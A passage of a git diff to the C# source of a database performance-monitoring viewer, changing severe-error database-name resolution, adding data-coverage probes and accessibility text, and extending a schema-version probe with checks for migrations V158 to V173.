-    /// NULL server-side too) → empty. A real id absent from the map (a database dropped before the latest
-    /// size-stats snapshot, or one never captured) is surfaced as its raw id rather than silently blanked.
-    /// </summary>
-    public static string ResolveDatabaseName(int? databaseId, IReadOnlyDictionary<int, string> databaseNameMap)
-    {
-        if (databaseId is not { } id || id == 0)
-            return string.Empty;
-        if (databaseNameMap.TryGetValue(id, out var name))
-            return name;
-        return $"database_id {id}";
-    }
-
-    /// <summary>Loads the server's latest database_id → database_name map for Severe Errors DB resolution.</summary>
-    public async Task<Dictionary<int, string>> GetDatabaseNameMapAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        var map = new Dictionary<int, string>();
-
-        await using var command = _dataSource.CreateCommand(DatabaseNameMapSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            if (reader.IsDBNull(0) || reader.IsDBNull(1))
-                continue;
-            map[reader.GetInt32(0)] = reader.GetString(1);
-        }
-
-        return map;
-    }
-
     /// <summary>The five System Events parameters ($1 server_id, $2/$3 naive-UTC window, $4 XE event_type,
     /// $5 the <see cref="EventWindowFloor"/> for $2).</summary>
     private static void AddSystemEventParameters(NpgsqlCommand command, int serverId, DateTime startUtc, DateTime endUtc, string eventType)
@@ -437,31 +386,42 @@ public async Task<List<SchedulerIssueRow>> GetSchedulerIssuesAsync(
     public async Task<List<SevereErrorRow>> GetSevereErrorsAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
-        var mapTask = GetDatabaseNameMapAsync(serverId, cancellationToken);
         var xmls = await ReadSystemHealthEventXmlAsync(
             serverId, startUtc, endUtc, SystemHealthParser.ErrorReportedEvent, cancellationToken);
-        var map = await mapTask;
 
-        /* #1319 database filter: severe_errors has no database_name column (the DB is resolved in C# from the
-           event's database_id via the collected id↔name map), so the filter is applied client-side on the
-           resolved name. A null/empty selection leaves every row (today's behavior). */
-        var filter = databaseNames is { Count: > 0 } ? new HashSet<string>(databaseNames, StringComparer.OrdinalIgnoreCase) : null;
-
-        return await Task.Run(() =>
+        var records = await Task.Run(() =>
         {
-            var rows = new List<SevereErrorRow>();
+            var parsed = new List<SevereErrorRecord>();
             foreach (var xml in xmls)
             {
                 var record = SystemHealthParser.ParseSevereError(xml);
                 if (record != null && SystemEventSignificance.IsSignificant(record))
-                {
-                    var databaseName = ResolveDatabaseName(record.DatabaseId, map);
-                    if (filter == null || filter.Contains(databaseName))
-                        rows.Add(new SevereErrorRow(record, databaseName));
-                }
+                    parsed.Add(record);
             }
-            return rows;
+            return parsed;
         }, cancellationToken);
+
+        /* #5373: each error is named by what its database_id carried at the error's own time (the collected
+           database-size snapshots), not by the server's latest name for the id: SQL Server reuses a dropped
+           database's id. */
+        var names = await DatabaseNameHistoryReader.ReadAsync(
+            _dataSource, serverId, records.Select(r => (r.DatabaseId, r.EventTime)),
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+        /* #1319 database filter: severe_errors has no database_name column (the DB is resolved in C# from the
+           event's database_id), so the filter is applied client-side on the resolved name. A null/empty
+           selection leaves every row (today's behavior). #5244: it matches on the SAME per-error name the rows
+           show (names.Resolve, #5373), ordinal, and an id the history never saw or an error with no database
+           context is in no chosen database, as in the Darling MCP tool and Lite. */
+        var filter = databaseNames is { Count: > 0 } ? databaseNames : null;
+
+        var rows = new List<SevereErrorRow>();
+        foreach (var record in records)
+        {
+            if (filter == null || names.IsIn(record.DatabaseId, record.EventTime, filter))
+                rows.Add(new SevereErrorRow(record, names.Resolve(record.DatabaseId, record.EventTime)));
+        }
+        return rows;
     }
 
     // ── Memory Conditions ──
@@ -768,4 +728,31 @@ internal static async Task<List<DefaultTraceEventRow>> ReadDefaultTraceEventsAsy
         /* OrderByDescending is a stable sort (List.Sort is not), so ties keep the reader's order. */
         return rows.OrderByDescending(static r => r.EventTimeUtc).ToList();
     }
+
+    // ── Where the System Events data starts (#4966) ──
+
+    /// <summary>
+    /// Where this server's system_health_events coverage starts for the window, through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first
+    /// row in the window if that is earlier. One table feeds all eight System Events grids, so one probe serves them. The
+    /// column the probe reads is <c>collection_time</c>, the collector's own UTC clock. The grids window on the event's
+    /// <c>event_time</c> (the XE <c>@timestamp</c>, UTC), and a server's first collection stores the ring buffer's history,
+    /// so a row can carry an event time from before the coverage: the caller names the earlier of this and the earliest
+    /// event the grid shows (<see cref="ViewerEventDataStart.Of"/>). Null when the window holds no row and no logged run,
+    /// and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetSystemHealthEventsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("system_health_events"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+    /// <summary>
+    /// The same for the Default Trace grid (default_trace_events). Its event time is the server's LOCAL wall clock,
+    /// converted to UTC in <see cref="GetDefaultTraceEventsAsync"/> with the server's clock, but the probe never reads
+    /// that column: it reads <c>collection_time</c>, UTC, so the coverage needs no conversion and no clock. The grid's
+    /// earliest event is measured on the rows the read returns, already converted per row (the offset at that row's own
+    /// date) and trimmed to the window in UTC, so the notice compares UTC with UTC.
+    /// </summary>
+    public Task<DateTime?> GetDefaultTraceDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("default_trace_events"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs
index d37649dd7c..6f89f86b8b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs
@@ -82,6 +82,11 @@ public DarlingServer(
     public int ServerId { get; }
     public string ServerName { get; }
     public string DisplayName { get; }
+
+    /// <summary>What a screen reader announces for a server in a list or drop-down box (the item's text is the item's name in UI
+    /// Automation): the display name, not the type name ("PerformanceMonitor.Darling.Viewer.DarlingServer").</summary>
+    public override string ToString() => DisplayName;
+
     public bool IsEnabled { get; }
     public int? SqlMajorVersion { get; }
     public decimal MonthlyCostUsd { get; }
@@ -103,6 +108,9 @@ public DarlingServer(
     /// </summary>
     public bool IsPostgres => MonitoredEngineKind.IsPostgres(EngineKind);
 
+    /// <summary>The FinOps picker's text: <see cref="DisplayName"/>, with " (PostgreSQL)" after a PostgreSQL target's, as the web page's server list does.</summary>
+    public string PickerLabel => FinOpsServerChoice.Label(this);
+
     /// <summary>
     /// True only when the store says this target is Amazon Aurora PostgreSQL specifically. Same asymmetry as
     /// <see cref="IsPostgres"/>. Read for the Overview card's CPU row (#3267): instance CPU comes from
@@ -434,14 +442,19 @@ public sealed partial class ViewerDataService : IAsyncDisposable
     /// privilege (the web dashboard's dedicated mute-rule endpoints run as viewer), which would have flipped
     /// every <c>connectAs = "viewer"</c> Viewer to "writable" while its alert-dismiss writes still 42501'd —
     /// buttons offered, writes refused. <c>config_alert_log</c> UPDATE is one of the writes this probe actually
-    /// gates and stays with admin/owner (never in the viewer role's enumerated web-surface set), so the probe
-    /// keeps discriminating the two roles it exists to tell apart — and the locked-down Viewer's read-only UX,
+    /// gates and stays with admin/owner at TABLE level. The viewer role now holds a COLUMN-level
+    /// <c>UPDATE (dismissed)</c> (the web dismiss route), which <c>has_table_privilege(..., 'UPDATE')</c> does not
+    /// see, so the probe still reads false for a viewer seat and keeps discriminating the two roles it exists to tell apart — and the locked-down Viewer's read-only UX,
     /// mute-rule buttons included, is unchanged by the web grant.</para>
     /// </summary>
     public const string ReadOnlyProbeSql = "SELECT has_table_privilege('config_alert_log', 'UPDATE')";
 
     private readonly NpgsqlDataSource _dataSource;
 
+    /// <summary>The store connection a saved password key belongs to (host, port and database), see
+    /// <see cref="ViewerPasswordKey.StoreIdentityOf"/>.</summary>
+    public string StoreConnectionIdentity { get; }
+
     /// <summary>Review D4R M3: <see cref="GetStoreSchemaVersionAsync"/>'s result, cached per instance (this
     /// instance is per store connection) once the Queries grid's #3953 table-read gate has probed it, so a
     /// long-window grid refresh pays the 121-column catalog probe once per session rather than on every load.
@@ -482,6 +495,7 @@ from disagreeing. */
             DarlingStoreConnection.PinSessionTimeZoneUtc(
                 DarlingStoreConnection.WithApplicationName(effectiveConnectionString, ViewerSettings.ApplicationName)));
         StoreIsOnThisMachine = StoreHostIsLoopback(connectionString);
+        StoreConnectionIdentity = ViewerPasswordKey.StoreIdentityOf(connectionString);
         _alertClocks = new ServerClockCache(ct => GetServerClocksAsync(serverId: null, ct), AlertClockLifetime);
     }
 
@@ -1056,7 +1070,75 @@ below V155 (and fails open only when the probe itself fails). Named only in this
     EXISTS (SELECT 1 FROM information_schema.columns WHERE table_name = 'store_metrics' AND column_name = 'checkpoint_longest_sync_ms'),
     /* V157 gives a mute rule an optional store server id. The column is the sentinel. Named only in this probe line,
        never in prose, per the V71 finding. */
-    EXISTS (SELECT 1 FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_mute_rules' AND column_name = 'server_id')";
+    EXISTS (SELECT 1 FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_mute_rules' AND column_name = 'server_id'),
+    /* V158 (#4961) holds the install id in a one-row table of its own. The table is the sentinel. Named only in this
+       probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 FROM information_schema.tables WHERE table_schema = 'config' AND table_name = 'config_install_id'),
+    /* V159 (#4961) adds the install id table's own OID as a third binding. The column is the sentinel. Named only in
+       this probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_install_id' AND column_name = 'table_oid'),
+    /* V160 (#4938) gives a collector an optional run time, in a table of its own. The table is the sentinel, found by
+       name in the catalog so the answer does not depend on which privileges the connecting role holds on it. The
+       schedule window reads that table (its Run at column) and saving a run time writes it, so a store below V160
+       would answer them with a missing-table error, and the connect gate refuses such a store before the window can
+       open. This probe is the one thing that can fail open: when it throws, the gate lets the store in, so the run-time
+       read treats a missing table as no run times and the run-time save says the store is older than this viewer,
+       each on its own. Named only in this probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('config.config_collector_run_times') IS NOT NULL),
+    /* V161 (#5094) adds the daily summary tables for the Query Store top read. The first of them is the sentinel,
+       found by name in the catalog so the answer does not depend on the connecting role's privileges on it. Named
+       only in this probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.query_store_top_daily') IS NOT NULL),
+    /* V162 (#5097) adds the slow-read record. The table is the sentinel, found by name in the catalog so the answer
+       does not depend on the connecting role's privileges on it. Named only in this probe line, never in prose, per
+       the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.slow_reads') IS NOT NULL),
+    /* V163 (#5097) adds the store's statement history. The history table is the sentinel, found by name in the catalog
+       so the answer does not depend on the connecting role's privileges on it. Named only in this probe line, never in
+       prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.store_statement_history') IS NOT NULL),
+    /* V164 (#4605) adds the hourly row-count ledger of the query_stats table. The ledger table is the sentinel, found by
+       name in the catalog so the answer does not depend on the connecting role's privileges on it. Named only in this
+       probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.query_stats_hour_ledger') IS NOT NULL),
+    /* V165 (#5366) adds the tables that publish the service's password key. The key table is the sentinel, found by
+       name in the catalog so the answer does not depend on the connecting role's privileges on it. Named only in this
+       probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('config.password_key') IS NOT NULL),
+    /* V166 probes a COLUMN for V57's reason: config_notification has existed since V17, so table
+       existence cannot separate the rungs, and the rung adds exactly one column — there is no
+       sibling to prefer or to explain not preferring. Named only in this probe line, never in
+       prose, per the V71 finding. */
+    EXISTS (SELECT 1 FROM information_schema.columns WHERE table_name = 'config_notification'
+                                                     AND   column_name = 'pagerduty_auto_resolve'),
+    /* V167 (#5456) adds the table that records which old-format saved passwords were present at the upgrade. That table
+       is the sentinel, found by name in the catalog so the answer does not depend on the connecting role's privileges on
+       it. Named only in this probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('config.legacy_secret_pin_candidate') IS NOT NULL),
+    /* V168 (#5448) adds the per-day plan totals for PLAN_REGRESSION. The built table is the sentinel, found by name
+       in the catalog so the answer does not depend on the connecting role's privileges on it. Named only in this
+       probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.plan_regression_daily_built') IS NOT NULL),
+    /* V169 probes a COLUMN for V57's reason: config_monitored_servers has existed since V2, so table
+       existence cannot separate the rungs. The role column is the sentinel; its two siblings arrive in
+       the same statement and are never separately present. Named only in this probe line, never in
+       prose, per the V71 finding. */
+    EXISTS (SELECT 1 FROM information_schema.columns WHERE table_name = 'config_monitored_servers'
+                                                     AND   column_name = 'aws_role_arn'),
+    /* V170 (#5495) adds the hourly rollup of the differenced PostgreSQL I/O counters. The state table is the sentinel, found by name
+       in the catalog so the answer does not depend on the connecting role's privileges on it. Named only in this probe line, never in
+       prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.pg_io_stats_hourly_state') IS NOT NULL),
+    /* V171 (#5571) makes the wide Query Store interval table a day-partitioned table, with the old table attached as its legacy
+       partition. The sentinel is the parent's relkind ('p', a partitioned table), read from the catalog by name so the answer does
+       not depend on the connecting role's privileges. Named only in this probe line, never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 FROM pg_class WHERE oid = to_regclass('collect.query_store_interval_wide') AND relkind = 'p'),
+    /* V172 (#5571) does the same for the latest-interval table. Same probe shape as V171's. */
+    EXISTS (SELECT 1 FROM pg_class WHERE oid = to_regclass('collect.query_store_interval_latest') AND relkind = 'p'),
+    /* V173 (#5582) adds the exact stamp-grain rollup of the wide Query Store interval table. The hours table is the sentinel, found
+       by name in the catalog so the answer does not depend on the connecting role's privileges on it. Named only in this probe line,
+       never in prose, per the V71 finding. */
+    EXISTS (SELECT 1 WHERE to_regclass('collect.query_store_compose_stamp_hours') IS NOT NULL)";
 
     /// <summary>The store schema version this viewer build requires — the highest migration it knows
     /// (<see cref="StorageVersion.SchemaVersion"/>). The connect-time gate blocks a store below this.</summary>
@@ -1078,7 +1160,7 @@ below V155 (and fails open only when the probe itself fails). Named only in this
             await using var reader = await command.ExecuteReaderAsync(cancellationToken);
             if (await reader.ReadAsync(cancellationToken))
             {
-                return MapProbedSchemaVersion(reader.GetBoolean(0), reader.GetBoolean(1), reader.GetBoolean(2), reader.GetBoolean(3), reader.GetBoolean(4), reader.GetBoolean(5), reader.GetBoolean(6), reader.GetBoolean(7), reader.GetBoolean(8), reader.GetBoolean(9), reader.GetBoolean(10), reader.GetBoolean(11), reader.GetBoolean(12), reader.GetBoolean(13), reader.GetBoolean(14), reader.GetBoolean(15), reader.GetBoolean(16), reader.GetBoolean(17), reader.GetBoolean(18), reader.GetBoolean(19), reader.GetBoolean(20), reader.GetBoolean(21), reader.GetBoolean(22), reader.GetBoolean(23), reader.GetBoolean(24), reader.GetBoolean(25), reader.GetBoolean(26), reader.GetBoolean(27), reader.GetBoolean(28), reader.GetBoolean(29), reader.GetBoolean(30), reader.GetBoolean(31), reader.GetBoolean(32), reader.GetBoolean(33), reader.GetBoolean(34), reader.GetBoolean(35), reader.GetBoolean(36), reader.GetBoolean(37), reader.GetBoolean(38), reader.GetBoolean(39), reader.GetBoolean(40), reader.GetBoolean(41), reader.GetBoolean(42), reader.GetBoolean(43), reader.GetBoolean(44), reader.GetBoolean(45), reader.GetBoolean(46), reader.GetBoolean(47), reader.GetBoolean(48), reader.GetBoolean(49), reader.GetBoolean(50), reader.GetBoolean(51), reader.GetBoolean(52), reader.GetBoolean(53), reader.GetBoolean(54), reader.GetBoolean(55), reader.GetBoolean(56), reader.GetBoolean(57), reader.GetBoolean(58), reader.GetBoolean(59), reader.GetBoolean(60), reader.GetBoolean(61), reader.GetBoolean(62), reader.GetBoolean(63), reader.GetBoolean(64), reader.GetBoolean(65), reader.GetBoolean(66), reader.GetBoolean(67), reader.GetBoolean(68), reader.GetBoolean(69), reader.GetBoolean(70), reader.GetBoolean(71), reader.GetBoolean(72), reader.GetBoolean(73), reader.GetBoolean(74), reader.GetBoolean(75), reader.GetBoolean(76), reader.GetBoolean(77), reader.GetBoolean(78), reader.GetBoolean(79), reader.GetBoolean(80), reader.GetBoolean(81), reader.GetBoolean(82), reader.GetBoolean(83), reader.GetBoolean(84), reader.GetBoolean(85), reader.GetBoolean(86), reader.GetBoolean(87), reader.GetBoolean(88), reader.GetBoolean(89), reader.GetBoolean(90), reader.GetBoolean(91), reader.GetBoolean(92), reader.GetBoolean(93), reader.GetBoolean(94), reader.GetBoolean(95), reader.GetBoolean(96), reader.GetBoolean(97), reader.GetBoolean(98), reader.GetBoolean(99), reader.GetBoolean(100), reader.GetBoolean(101), reader.GetBoolean(102), reader.GetBoolean(103), reader.GetBoolean(104), reader.GetBoolean(105), reader.GetBoolean(106), reader.GetBoolean(107), reader.GetBoolean(108), reader.GetBoolean(109), reader.GetBoolean(110), reader.GetBoolean(111), reader.GetBoolean(112), reader.GetBoolean(113), reader.GetBoolean(114), reader.GetBoolean(115), reader.GetBoolean(116), reader.GetBoolean(117), reader.GetBoolean(118), reader.GetBoolean(119), reader.GetBoolean(120), reader.GetBoolean(121), reader.GetBoolean(122), reader.GetBoolean(123), reader.GetBoolean(124), reader.GetBoolean(125), reader.GetBoolean(126), reader.GetBoolean(127), reader.GetBoolean(128), reader.GetBoolean(129), reader.GetBoolean(130), reader.GetBoolean(131), reader.GetBoolean(132));
+                return MapProbedSchemaVersion(reader.GetBoolean(0), reader.GetBoolean(1), reader.GetBoolean(2), reader.GetBoolean(3), reader.GetBoolean(4), reader.GetBoolean(5), reader.GetBoolean(6), reader.GetBoolean(7), reader.GetBoolean(8), reader.GetBoolean(9), reader.GetBoolean(10), reader.GetBoolean(11), reader.GetBoolean(12), reader.GetBoolean(13), reader.GetBoolean(14), reader.GetBoolean(15), reader.GetBoolean(16), reader.GetBoolean(17), reader.GetBoolean(18), reader.GetBoolean(19), reader.GetBoolean(20), reader.GetBoolean(21), reader.GetBoolean(22), reader.GetBoolean(23), reader.GetBoolean(24), reader.GetBoolean(25), reader.GetBoolean(26), reader.GetBoolean(27), reader.GetBoolean(28), reader.GetBoolean(29), reader.GetBoolean(30), reader.GetBoolean(31), reader.GetBoolean(32), reader.GetBoolean(33), reader.GetBoolean(34), reader.GetBoolean(35), reader.GetBoolean(36), reader.GetBoolean(37), reader.GetBoolean(38), reader.GetBoolean(39), reader.GetBoolean(40), reader.GetBoolean(41), reader.GetBoolean(42), reader.GetBoolean(43), reader.GetBoolean(44), reader.GetBoolean(45), reader.GetBoolean(46), reader.GetBoolean(47), reader.GetBoolean(48), reader.GetBoolean(49), reader.GetBoolean(50), reader.GetBoolean(51), reader.GetBoolean(52), reader.GetBoolean(53), reader.GetBoolean(54), reader.GetBoolean(55), reader.GetBoolean(56), reader.GetBoolean(57), reader.GetBoolean(58), reader.GetBoolean(59), reader.GetBoolean(60), reader.GetBoolean(61), reader.GetBoolean(62), reader.GetBoolean(63), reader.GetBoolean(64), reader.GetBoolean(65), reader.GetBoolean(66), reader.GetBoolean(67), reader.GetBoolean(68), reader.GetBoolean(69), reader.GetBoolean(70), reader.GetBoolean(71), reader.GetBoolean(72), reader.GetBoolean(73), reader.GetBoolean(74), reader.GetBoolean(75), reader.GetBoolean(76), reader.GetBoolean(77), reader.GetBoolean(78), reader.GetBoolean(79), reader.GetBoolean(80), reader.GetBoolean(81), reader.GetBoolean(82), reader.GetBoolean(83), reader.GetBoolean(84), reader.GetBoolean(85), reader.GetBoolean(86), reader.GetBoolean(87), reader.GetBoolean(88), reader.GetBoolean(89), reader.GetBoolean(90), reader.GetBoolean(91), reader.GetBoolean(92), reader.GetBoolean(93), reader.GetBoolean(94), reader.GetBoolean(95), reader.GetBoolean(96), reader.GetBoolean(97), reader.GetBoolean(98), reader.GetBoolean(99), reader.GetBoolean(100), reader.GetBoolean(101), reader.GetBoolean(102), reader.GetBoolean(103), reader.GetBoolean(104), reader.GetBoolean(105), reader.GetBoolean(106), reader.GetBoolean(107), reader.GetBoolean(108), reader.GetBoolean(109), reader.GetBoolean(110), reader.GetBoolean(111), reader.GetBoolean(112), reader.GetBoolean(113), reader.GetBoolean(114), reader.GetBoolean(115), reader.GetBoolean(116), reader.GetBoolean(117), reader.GetBoolean(118), reader.GetBoolean(119), reader.GetBoolean(120), reader.GetBoolean(121), reader.GetBoolean(122), reader.GetBoolean(123), reader.GetBoolean(124), reader.GetBoolean(125), reader.GetBoolean(126), reader.GetBoolean(127), reader.GetBoolean(128), reader.GetBoolean(129), reader.GetBoolean(130), reader.GetBoolean(131), reader.GetBoolean(132), reader.GetBoolean(133), reader.GetBoolean(134), reader.GetBoolean(135), reader.GetBoolean(136), reader.GetBoolean(137), reader.GetBoolean(138), reader.GetBoolean(139), reader.GetBoolean(140), reader.GetBoolean(141), reader.GetBoolean(142), reader.GetBoolean(143), reader.GetBoolean(144), reader.GetBoolean(145), reader.GetBoolean(146), reader.GetBoolean(147), reader.GetBoolean(148));
             }
 
             return null;
@@ -1103,7 +1185,7 @@ below V155 (and fails open only when the probe itself fails). Named only in this
     /// is unit-tested without a live store; any schema bump past the newest arm trips the pinning test that keeps
     /// this in step with <see cref="StorageVersion.SchemaVersion"/>.
     /// </summary>
-    internal static int MapProbedSchemaVersion(bool hasConfigControlPlane, bool hasAlertDeliveryOverride, bool hasAnalysisState, bool hasAlertTuningKnobs, bool hasDefaultTraceEvents, bool hasIndexObjectStatsLatestIndex, bool hasCollectionLogHypertableOrPlainPg, bool hasJobHistory, bool hasAgentStatus, bool hasGenericWebhook, bool hasDeadlocksDatabaseName, bool hasQueryStoreReplicaRole, bool hasLongQueryCompletions, bool hasWebDashboardConfig, bool hasCustomViews, bool hasServerTags, bool hasConnectionRefireKnobs = false, bool hasAgCollectors = false, bool hasAgAlertKnobs = false, bool hasAgLatencyColumns = false, bool hasAgDisconnectRefire = false, bool hasPayloadDimensions = false, bool hasDimFloorIndexes = false, bool hasBlockingWaitThreshold = false, bool hasQueryStoreIntervalIdentity = false, bool hasPagerDutyWebhook = false, bool hasPagerDutyProxy = false, bool hasCollectorState = false, bool hasPlanCorrection = false, bool hasPvsStats = false, bool hasPvsPressureKnobs = false, bool hasDatabaseStateAlert = false, bool hasServerTagColour = false, bool hasQueryStatsHostObject = false, bool hasFindingDrillDown = false, bool hasStoreMetrics = false, bool hasPlanDimGzip = false, bool hasSelfAlertKnobs = false, bool hasJobMetricsColumns = false, bool hasJobCadenceKnob = false, bool hasBackfillSwitch = false, bool hasCollectorMemoryKnobs = false, bool hasDatabaseStateEdgeMemory = false, bool hasIncidentOccurrences = false, bool hasPlanXmlCompressionKnob = false, bool hasMonitoredServerEngine = false, bool hasPgBlockingEdges = false, bool hasQueryStorePlanMap = false, bool hasPgStatementText = false, bool hasQueryStoreText = false, bool hasPlanContentRetentionKnob = false, bool hasQueryStoreHealth = false, bool hasQueryStoreTextHash = false, bool hasComposeTimeoutKnob = false, bool hasFileGrowthAlert = false, bool hasCollectionLogFanoutRollup = false, bool hasTempDbMaxSize = false, bool hasServerEngineKind = false, bool hasPgDatabaseStats = false, bool hasPgIndexUsageStats = false, bool hasPgTableBloatStats = false, bool hasPgSessionStates = false, bool hasPgPlanCaptureReadiness = false, bool hasPgWriteStats = false, bool hasPgExtensionAvailability = false, bool hasPgLockStats = false, bool hasPgColumnStats = false, bool hasPgReplicationStats = false, bool hasPgBufferUsage = false, bool hasPgIndexBloat = false, bool hasPgPerDatabaseAttribution = false, bool hasPgWaitSampling = false, bool hasPgKernelStats = false, bool hasPgPredicateStats = false, bool hasPgPlanCapture = false, bool hasPgMajorVersion = false, bool hasPg18IoBytes = false, bool hasPgServerConfig = false, bool hasPgDeadlocks = false, bool hasPgDeadlockIdentity = false, bool hasCollectorCost = false, bool hasPgCpuUtilization = false, bool hasPlanForceActions = false, bool hasCollectionLogPhaseSplit = false, bool hasCollectionLogDrainForensics = false, bool hasCollectionLogFetchPhaseSums = false, bool hasStoreLogSelfMonitoring = false, bool hasCollectorStallProbes = false, bool hasRemediationCredentialAndActor = false, bool hasPgIndexBloatEstimate = false, bool hasPgCpuCapacityHeadroom = false, bool hasCustomAlertCore = false, bool hasMuteRuleReloadBeacon = false, bool hasBuiltinAlertPersistence = false, bool hasRetentionHoldRatioKnobs = false, bool hasDeadlockRateBandKnobs = false, bool hasOversizedPlanBacklog = false, bool hasPgAlertCountKnobs = false, bool hasFleetSweepState = false, bool hasFleetSweepCadenceKnobs = false, bool hasCollectorScheduleDatabases = false, bool hasSelfDiskWarnGbFloor = false, bool hasDeltaFamilyIntervalColumns = false, bool hasDeltaFamilyIntervalCompletion = false, bool hasPgLogEvents = false, bool hasPgLogEventMetrics = false, bool hasNotificationRoutes = false, bool hasPerfmonCounterType = false, bool hasPgNumbackendsAndSampledMs = false, bool hasTimeHonesty = false, bool hasLrqExclusionKnob = false, bool hasPgDatabaseSizeStatsAndHostMemory = false, bool hasQsCaptureModeRouteKnobToast = false, bool hasPgServerConfigDatabaseRoleOverrides = false, bool hasPostmasterStartTime = false, bool hasCheckpointsTimed = false, bool hasCollectionCaveats = false, bool hasIndexObjectStatsServerTimeIndex = false, bool hasQueryStoreIntervalLatest = false, bool hasRawChunkIntervalRungHistory = false, bool hasQueryStoreIntervalWide = false, bool hasManagedConfVerdicts = false, bool hasComposeTimeoutSixty = false, bool hasReadLatency = false, bool hasHotLivenessTouch = false, bool hasCollectionLogWatermarkAndJobHistoryIndexes = false, bool hasAgGroupId = false, bool hasCaggGroupIndexDrop = false, bool hasIntervalFirstExecIndexes = false, bool hasIntervalWideFirstExecIndex = false, bool hasQueryStoreIntervalEnd = false, bool hasCheckpointLongestSync = false, bool hasMuteRuleServerId = false)
+    internal static int MapProbedSchemaVersion(bool hasConfigControlPlane, bool hasAlertDeliveryOverride, bool hasAnalysisState, bool hasAlertTuningKnobs, bool hasDefaultTraceEvents, bool hasIndexObjectStatsLatestIndex, bool hasCollectionLogHypertableOrPlainPg, bool hasJobHistory, bool hasAgentStatus, bool hasGenericWebhook, bool hasDeadlocksDatabaseName, bool hasQueryStoreReplicaRole, bool hasLongQueryCompletions, bool hasWebDashboardConfig, bool hasCustomViews, bool hasServerTags, bool hasConnectionRefireKnobs = false, bool hasAgCollectors = false, bool hasAgAlertKnobs = false, bool hasAgLatencyColumns = false, bool hasAgDisconnectRefire = false, bool hasPayloadDimensions = false, bool hasDimFloorIndexes = false, bool hasBlockingWaitThreshold = false, bool hasQueryStoreIntervalIdentity = false, bool hasPagerDutyWebhook = false, bool hasPagerDutyProxy = false, bool hasCollectorState = false, bool hasPlanCorrection = false, bool hasPvsStats = false, bool hasPvsPressureKnobs = false, bool hasDatabaseStateAlert = false, bool hasServerTagColour = false, bool hasQueryStatsHostObject = false, bool hasFindingDrillDown = false, bool hasStoreMetrics = false, bool hasPlanDimGzip = false, bool hasSelfAlertKnobs = false, bool hasJobMetricsColumns = false, bool hasJobCadenceKnob = false, bool hasBackfillSwitch = false, bool hasCollectorMemoryKnobs = false, bool hasDatabaseStateEdgeMemory = false, bool hasIncidentOccurrences = false, bool hasPlanXmlCompressionKnob = false, bool hasMonitoredServerEngine = false, bool hasPgBlockingEdges = false, bool hasQueryStorePlanMap = false, bool hasPgStatementText = false, bool hasQueryStoreText = false, bool hasPlanContentRetentionKnob = false, bool hasQueryStoreHealth = false, bool hasQueryStoreTextHash = false, bool hasComposeTimeoutKnob = false, bool hasFileGrowthAlert = false, bool hasCollectionLogFanoutRollup = false, bool hasTempDbMaxSize = false, bool hasServerEngineKind = false, bool hasPgDatabaseStats = false, bool hasPgIndexUsageStats = false, bool hasPgTableBloatStats = false, bool hasPgSessionStates = false, bool hasPgPlanCaptureReadiness = false, bool hasPgWriteStats = false, bool hasPgExtensionAvailability = false, bool hasPgLockStats = false, bool hasPgColumnStats = false, bool hasPgReplicationStats = false, bool hasPgBufferUsage = false, bool hasPgIndexBloat = false, bool hasPgPerDatabaseAttribution = false, bool hasPgWaitSampling = false, bool hasPgKernelStats = false, bool hasPgPredicateStats = false, bool hasPgPlanCapture = false, bool hasPgMajorVersion = false, bool hasPg18IoBytes = false, bool hasPgServerConfig = false, bool hasPgDeadlocks = false, bool hasPgDeadlockIdentity = false, bool hasCollectorCost = false, bool hasPgCpuUtilization = false, bool hasPlanForceActions = false, bool hasCollectionLogPhaseSplit = false, bool hasCollectionLogDrainForensics = false, bool hasCollectionLogFetchPhaseSums = false, bool hasStoreLogSelfMonitoring = false, bool hasCollectorStallProbes = false, bool hasRemediationCredentialAndActor = false, bool hasPgIndexBloatEstimate = false, bool hasPgCpuCapacityHeadroom = false, bool hasCustomAlertCore = false, bool hasMuteRuleReloadBeacon = false, bool hasBuiltinAlertPersistence = false, bool hasRetentionHoldRatioKnobs = false, bool 